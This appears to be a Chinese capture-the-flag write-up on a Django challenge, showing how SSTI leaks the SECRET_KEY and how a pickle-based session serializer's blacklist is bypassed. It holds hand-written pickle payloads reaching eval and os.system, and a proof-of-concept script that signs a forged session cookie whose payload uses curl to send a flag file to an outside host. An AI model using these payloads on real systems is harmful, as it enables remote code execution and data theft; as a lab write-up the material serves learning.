0x00 前言
    懒狗突然想起来好久没有更新了,于是赶紧爬起来摸了一篇文章。
    一道django配合pickle的session伪造。好像和我出的pickle&flask差不多,实际上差太多了。我们直接来看题目吧。
PS: 我使用pker写的payload根本无法使用。只能手写。
0x01 源码
    我们发现整个程序的入口文件是views.py。于是尝试在本地跑这个程序。在35行auth.login()这里下断点。

    之后开启debug模式运行django程序。尝试使用cioier/1登录。查看SECRET_KEY的位置。因为本身对django不太熟悉的缘故,我这里就不班门弄斧了。最后在request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY找到了。

然后怎么才可以读取SECRET_KEY呢?我们发现index()这里有拼接,猜测可能有SSTI。

于是注册/1。

拿到了SECRET_KEY之后我们就可以尝试session伪造了。。那么我们去setting.py中看看能不能session伪造吧。看到SESSION的加密模式是cookies,说明可以session伪造。

如果你审计的足够仔细的话会发现SESSION_SERIALIZER = 'core.serializer.PickleSerializer'。这行配置直接打消了我的疑惑。众所周知,在django session中一般是使用json进行数据的格式化的,和flask session有异曲同工之妙。但是这里将格式化的方式从json改为了pickle。所以我们可以在调试的时候发现pickle的数据流。也就是说,我们可以通过控制session的方式来实现pickle反序列化恶意代码。
0x02 分析
    有一点难受的就是这里的pickle被过滤了好多啊。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | import pickleimport io
 import builtins
 
 __all__ = ('PickleSerializer', )
 
 
 class RestrictedUnpickler(pickle.Unpickler):
 blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
 def find_class(self, module, name):
 
 if module == "builtins" and name not in self.blacklist:
 return getattr(builtins, name)
 
 raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
 (module, name))
 
 
 class PickleSerializer():
 def dumps(self, obj):
 return pickle.dumps(obj)
 
 def loads(self, data):
 try:
 if isinstance(data, str):
 raise TypeError("Can't load pickle from unicode string")
 file = io.BytesIO(data)
 return RestrictedUnpickler(file,
 encoding='ASCII', errors='strict').load()
 except Exception as e:
 return {}
 
 | 
审计完之后我们可以看出来我们只能调用builtins。但是这里的getattr没有过滤。那么我们就可以快乐的getattr获取dict。所以我们可手写出下面的pickle(不懂 pickle 的可以看我之前的文章)。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | cbuiltinsgetattr
 (cbuiltins
 dict
 S'get'
 tR(cbuiltins
 globals
 (tRS'builtins'
 tRp1
 cbuiltins
 getattr
 (g1
 S'eval'
 tR(S'__import__("os").system("whoami")'
 tR.
 
 | 
然后就是写出poc.py了。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 
 | from django.core import signingimport pickle
 import builtins,io
 import base64
 import datetime
 import json
 import re
 import time
 import zlib
 data = b'''cbuiltins
 getattr
 (cbuiltins
 dict
 S'get'
 tR(cbuiltins
 globals
 (tRS'builtins'
 tRp1
 cbuiltins
 getattr
 (g1
 S'eval'
 tR(S'__import__("os").system("curl 192.168.232.1:3333/?$(cat /flag_djang0_p1ckle | base64)")'
 tR
 .'''
 
 
 def b64_encode(s):
 return base64.urlsafe_b64encode(s).strip(b'=')
 
 
 def pickle_exp(SECRET_KEY):
 global data
 is_compressed = False
 compress = False
 if compress:
 
 compressed = zlib.compress(data)
 if len(compressed) < (len(data) - 1):
 data = compressed
 is_compressed = True
 base64d = b64_encode(data).decode()
 if is_compressed:
 base64d = '.' + base64d
 SECRET_KEY = SECRET_KEY
 print(base64d)
 
 session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
 print(session)
 
 
 if __name__ == '__main__':
 SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
 pickle_exp(SECRET_KEY)
 
 | 
    直接接受flag就好了。
0x03 结语
    之后应该会像学习flask一样,我会去学习django的底层算法。之后我们再聊吧。